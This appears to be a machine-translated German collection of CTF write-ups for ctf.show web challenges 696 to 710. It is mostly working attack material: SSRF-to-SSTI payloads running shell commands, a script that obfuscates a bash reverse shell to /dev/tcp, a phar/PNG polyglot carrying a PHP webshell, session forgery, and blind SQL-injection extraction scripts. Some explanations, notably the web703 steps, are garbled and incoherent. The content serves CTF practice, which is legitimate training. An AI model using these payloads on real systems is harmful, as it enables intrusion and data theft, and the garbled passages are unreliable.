Da es viele Themen gibt, so viele Stellen relativ kurz geschrieben sind, hoffe ich, dass die Meister verstehen, und ich wünsche Ihnen allen, dass Sie stärker werden!
Artikelverzeichnis
web696
Herunterladen des Quellcodes ist ein Django-Framework.
Der Verwendungspunkt in web1 ist offensichtlich, es gibt ein ssrf
und es gibt eine ssti-Vorlageninjektion in der app.py von web2,
also ist unser Ziel, über web1 auf web2 zuzugreifen und schließlich den Zweck von rce über ssti zu erreichen.
Wenn wir in web1 ssrf verwenden möchten, müssen wir zuerst das Token erhalten, das heißt, wir müssen uns mit admin anmelden.
Der erste Schritt, den wir tun müssen, ist also, einen Admin-Benutzer vorzutäuschen. Nachdem ein Admin in Django erstellt wurde, wird die Datenbank durch is_superuser identifiziert. Ein Wert von 1 steht für den Administrator.
Die Benutzerregistrierung soll die gesamten Datendaten in die Datenbank schreiben.
So können wir bei der Registrierung einen is_superuser-Parameter hinzufügen Um auf alle Admin-Seiten zugreifen zu können, müssen wir einen is_staff-Parameter hinzufügen
erster Schritt:
POST:
http://bd2702c0-2cb5-4a00-8320-206e36106a47.challenge.ctf.show/reg/
{"username":"zzx","password":"abc","is_superuser":1,"is_staff":1}
Nachdem die Registrierung erfolgreich war und Sie sich im Hintergrund anmelden, können Sie den Wert des Tokens sehen.
In der Caculator-Route von web2 müssen wir den Wert von post übergeben, und die Flask_rpc-Funktion in web1 kann uns zuallererst dabei helfen.
Schauen Sie sich die Idee an
. Greifen Sie über die ssrf im Home auf den rpc zu und greifen Sie dann über die ssrf im rpc auf die Caculator-Route auf einem anderen Server zu. Der
allgemeine json lautet wie folgt
/home
{"url":"http://127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=xxxx","token":"994f639af3c57121cb756fd0bd126478"}
Das xxx ist die Base64 des json mit ssti-Inhalt, den wir übergeben möchten.
num1 und num2 sind nutzlos, da der Inhalt auf Zahlen beschränkt ist. Es dürfen nur Symbole verwendet werden.
Konstruieren Sie also den JSON-String
{"num1":"1","num2":"1","symbols","{
{x.__init__.__globals__['__builtins__'].eval('__import__(\"os\").popen(\"cat /flag\").read()')}}-"}
Der letzte - ist, das Filtern von Symbolen zu umgehen,
aber es gibt andere Einschränkungen für unsere Payload im Titel,
aber das ist ein kleines Problem, weil wir es durch json leiten, sodass es durch Unicode-Codierung umgangen werden kann.
{"symbols":"\u007b\u007bx.__init__.__globals__['__builtins__'].eval('__import__(\"os\").popen(\"cat /flag\").read()')\u007d\u007d-","num1":"1","num2":"2"}
Base64 diese Zeichenfolge und übergeben Sie sie an die vorherigen Daten. Die
endgültige Nutzlast und das Token müssen von Ihnen geändert werden
/home
{"url":"http://127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=eyJzeW1ib2xzIjoiXHUwMDdiXHUwMDdieC5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10uZXZhbCgnX19pbXBvcnRfXyhcIm9zXCIpLnBvcGVuKFwiY2F0IC9mbGFnXCIpLnJlYWQoKScpXHUwMDdkXHUwMDdkLSIsIm51bTEiOiIxIiwibnVtMiI6IjIifQ==","token":"994f639af3c57121cb756fd0bd126478"}
Einige Schüler fragen sich vielleicht, woher der Port kam, aber es ist eigentlich eine Vermutung oder es kann gesprengt werden.
Wie kam dann die ssti-Payload?Für Details können Sie die vorherigen ssti-Artikel und ssti-Artikel für Fortgeschrittene lesen
web697
Wenn wir die Seite betreten, werden wir aufgefordert, den Parameter NOHO einzugeben
und es ein paar Mal zu versuchen, und es wird angezeigt, dass es zu groß oder zu klein ist.
Obwohl ich den Code nicht sehen kann, kann ich vermuten, dass er mit einer Funktion wie strcmp verglichen werden kann, wobei größer als eine positive ganze Zahl zurückgibt, kleiner als eine negative ganze Zahl zurückgibt, gleich 0 zurückgibt.
Also stellen wir entweder fest, dass die Anzahl der Commits gleich der Anzahl ist, die im Code verglichen werden soll. Entweder umgehen Sie den Vergleich.
Man kann sich leicht vorstellen, Arrays zu verwenden. Wenn wir ein Array übergeben, ist der zurückgegebene Wert NULL. Jedenfalls sind mehrere Teile positive Ganzzahlen, keine negativen Ganzzahlen, und sie sind schwach gleich 0. Nach einem Versuch funktioniert es.
?NOHO[]=
Der zweite Schritt unten ist ein Feld zum Ausfüllen des Passworts. Nachdem Sie eine Zahl eingegeben haben, gibt die Seite die spezifische Abfrageanweisung
mit verstümmelten Zeichen zurück. Es kann durch eine Art Verschlüsselung verschlüsselt sein. Wenn es die gebräuchlichste md5-Verschlüsselung ist, können wir das umgehen. . Es gibt die folgenden Zeichenfolgen, und die Hexadezimalzahl nach der md5-Verschlüsselung hat ihre eigenen einfachen Anführungszeichen.
ffifdyop
e58
4611686052576742364
Da wir nur Zahlen weitergeben können, wählen wir4611686052576742364
web698
Referenzartikel https://blog.csdn.net/zz_Caleb/article/details/85082561
Die Grube ist, dass die Länge dieses secret_key einzeln ausprobiert werden muss und die tatsächliche Länge 10
sprachlos ist. . . . .
web699
Ich habe den Gruppenbesitzer gefragt und es stimmt, dass es ein Problem mit dem Thema gibt. Wenn es kein Problem gibt, kann das folgende Skript ablaufen.
https://tyskill.github.io/posts/i-soon2020/
import requests
# 八进制
n = dict()
n[0] = '${#}'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}${#}${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}${#}))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'
f = ''
def str_to_oct(cmd): #命令转换成八进制字符串
s = ""
for t in cmd:
o = ('%s' % (oct(ord(t))))[2:]
s+='\\'+o
return s
def build(cmd): #八进制字符串转换成字符
payload = "$0<<<$0\<\<\<\$\\\'" #${!#}与$0等效
s = str_to_oct(cmd).split('\\')
for _ in s[1:]:
payload+="\\\\"
for i in _:
payload+=n[int(i)]
return payload+'\\\''
# def get_flag(url,payload): #盲注函数
# try:
# data = {'cmd':payload}
# r = requests.post(url,data,timeout=1.5)
# except:
# return True
# return False
# 弹shell
print(build('bash -i >& /dev/tcp/IP/port 0>&1'))
#盲注
#a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
# for i in range(1,50):
# for j in a:
# cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
# url = "http://ip/"
# if get_flag(url,build(cmd)):
# break
# f = f+j
# print(f)
web700
https://xz.aliyun.com/t/6911
https://blog.csdn.net/a3320315/article/details/104071188
Bezog sich auf zwei Artikel, wurde aber nicht reproduziert. . . .
web701
Referenzartikelhttps://gist.github.com/stypr/9219055eaaf39bc1c3cdd694755d9295
1337 === Number(String(Number(1)).concat(3).concat(3).concat(7))
constructor.length.constructor =[Function: Number]
constructor.name.constructor = [Function: String]
constructor.constructor.length = 1
console.dir.name.length => "dir".length = 3
console.context.name.length => "context".length = 7
Nutzlast:
constructor.length.constructor(constructor.name.constructor(constructor.constructor.length).concat(console.dir.name.length).concat(console.dir.name.length).concat(console.context.name.length))
web702
Besuchen Sie www.zip, um den Quellcode zu erhalten.
Werfen wir zunächst einen Blick auf die Exploit-Punkte, von denen die meisten nichts anderes sind als Befehlsausführung, Dateieinschluss, Datei-Upload und Injektion. . .
Dieses Thema hat einen Datei-Upload-Punkt, aber das endgültige Dateinamensuffix ist festgelegt. Es ist also schwer, aus dem Erfolg Kapital zu schlagen.
Allerdings gibt es auch ein include in index.php,
das erste include entzieht sich unserer Kontrolle, als nächstes müssen wir untersuchen, ob das zweite include steuerbar ist.
Der Inhalt von include bezieht sich auf Daten. Sehen wir uns an, wie die Daten herkommen.
In Bezug auf Cookies können wir ein Bild hochladen, das die Bedingungen erfüllt, und die Änderungen von Cookies sehen.
Wenn wir erfolgreich hochladen, wird eine Sitzung zurückgegeben.Dieses
Cookie besteht aus zwei Teilen.
Vor dem Punkt steht die Base64 des JSON-Strings, gefolgt von seiner Signatur.
Dann entschlüsseln wir den Teil vor dem Punkt im zurückgegebenen Cookie und erhalten den folgenden Inhalt.
{"name":"asd_asd","avatar":"8c97baff.png","flash":{"type":"info","message":"Your avatar has been successfully updated!"}}
Können wir also eine Themenvariable hinzufügen?
Hier gibt es ein weiteres Problem: Die Signatur nach dem Punkt wird vom vorherigen json-String generiert, also müssen wir eine Signatur fälschen. Das ist eigentlich sehr schwierig, aber zum Glück gibt es ein Problem mit der Funktion, die die Signatur generiert.
Das heißt, wenn unsere JSON-Zeichenfolge 72 überschreitet, wird sie ignoriert. Und die Länge des JSON-Strings, den wir gerade hatten, ist 121. Wenn wir also später etwas hinzufügen, ist die Signatur dieselbe.
Der letzte ist, wie man dieses Include verwendet.
Wir können eine Datei mit einem CSS-Suffix einschließen, aber wir können keine Datei mit einem CSS-Suffix hochladen.
Zu diesem Zeitpunkt ist phar eine gute Wahl.
<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
Wir komprimieren exp.css in eine Phar-Datei und fügen einen PNG-Datei-Header hinzu, um die Validierung zu umgehen.
Wenn der Wert in include include("phar://uploads/xxx.png/exp.css") ist, wird der Inhalt von exp.css in getshell eingeschlossen.
Schritte zur Problemlösung:
1. Laden Sie die oben generierte phar-Datei hoch.
2. Entschlüsseln Sie die zurückgegebene Sitzung
. 3. Erstellen Sie eine JSON-Zeichenfolge. {"name":"asd_asd","avatar":"8c97baff.png","flash":{"type":"info","message":"Your avatar has been successfully updated!"},"theme":"phar://uploads/8c97baff.png/exp"}
4. Verwenden Sie die Methode urlsafe_base64_encode in index.php für die Basiscodierung
. 5. Verbinden Sie die erhaltene base64-Zeichenfolge mit der Signatur durch Punkte
. 6. Übergeben Sie ?cmd=cat /f* get flag
web703
Dies hat den Quellcode , den Extraktionscode: 7j3t
Der Zweck des Themas ist sehr klar, fälschen Sie einen Administratorbenutzer und besuchen Sie dann ?page=flag, um das Flag zu erhalten.
Die Schlüsselseite befindet sich in export.php.
Wir können eine Datei erstellen und ihr einige Zeichen hinzufügen. Zufälligerweise ist der Speicherpfad der Sitzungsdatei derselbe wie der Pfad der von uns generierten Datei. Können wir also eine Sitzungsdatei erstellen, um den Wert von admin darin zu ändern? Die Antwort ist ja.
Aber es gibt ein Problem, die Sitzungsdatei ist im Allgemeinen sess_PHPSESSID, was keinen Punkt zulässt, und der Dateiname wird mit einem Punkt generiert.
Glücklicherweise gibt es später eine Ersetzung, ..
die es durch nichts ersetzt, und der Wert von type ist unter unserer Kontrolle,
sodass wir nur einen Wert an type übergeben müssen .
.
Die standardmäßige Session-Deserialisierungsmethode in PHP ist php, die |
jedes serialisierte Zeichen trennt,
sodass wir |N;admin|b:1;
einen Problemlösungsschritt konstruieren können $_SESSION['admin']=true
, indem wir Folgendes schreiben:
1. Verwenden Sie sess_, um sich
anzumelden 1;
3. Besuchen Sie export.php?type=., um die Sitzungsdatei zu generieren und herunterzuladen.
4. Ändern Sie den PHPSESSID-Wert im Cookie auf den Inhalt hinter dem Unterstrich der heruntergeladenen Datei.
web704
Die Nutzlast kann mithilfe der Unicode-Codierung im json-String umgangen werden :
?source=1
{"page":"\u0070hp://filter/read=convert.base64-encode/resource=/\u0066lag"}
web705
Schauen Sie sich einfach den Referenzartikel an , es ist zu schwierig. . . . .
# coding: utf-8
import binascii
import requests
URL = 'http://c9bcbc2b-3d52-4a55-aa42-695f48805ef6.challenge.ctf.show/vote.php'
l = 0
i = 0
for j in range(16):
r = requests.post(URL, data={
'id': f'abs(case(length(hex((select(flag)from(flag))))&{1 << j})when(0)then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
l |= 1 << j
print('[+] length:', l)
table = {
}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'
res = binascii.hexlify(b'ctfshow{').decode().upper()
for i in range(len(res), l):
for x in '0123456789ABCDEF':
t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
r = requests.post(URL, data={
'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
res += x
break
print(f'[+] flag ({i}/{l}): {res}')
i += 1
print('[+] flag:', binascii.unhexlify(res).decode())
web706
Wenn Sie maschinelles Lernen sehen, lassen Sie es sein. . .
web707
Base64 entschlüsselt das Cookie und modifiziert dann das Geld im Cookie.
Direktkauf gibt die Flagge. . . . . .
web708
Ob das wp- https://ctftime.org/writeup/17495
Skript https://github.com/wat3vr/watevrCTF-2019/blob/master/challenges/web/jungle/solve.py
auslaufen kann oder nicht, hängt vom Schicksal ab.
web709
Sie müssen zuerst index.php lesen, dann die Seite abrufen, auf der sich das Flag befindet, und dann die Seite lesen.
Das Skript ist schlecht geschrieben, kaum eine Flagge zu sehen.
import requests
url="http://54f76ee9-05e1-4b90-b002-411ce0cd05a9.challenge.ctf.show/index.php?search="
#读文件 /var/www/html/index.php
# for i in range(1,500):
# u=url+"extractvalue(0x3c,concat(0x7e,(select substr(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870),{0},20))))".format(i)
# r=requests.get(u)
# print(r.text)
# 读文件/var/www/html/ctfshowflagyouneverknow.php
for i in range(1,500):
u=url+"extractvalue(0x3c,concat(0x7e,(select substr(load_file(0x2f7661722f7777772f68746d6c2f63746673686f77666c6167796f756e657665726b6e6f772e706870),{0},20))))".format(i)
r=requests.get(u)
print(r.text)
web710
hackbar ein Shuttle
?name={
{config.__class__.__init__.__globals__['os'].popen('cat f*').read()}}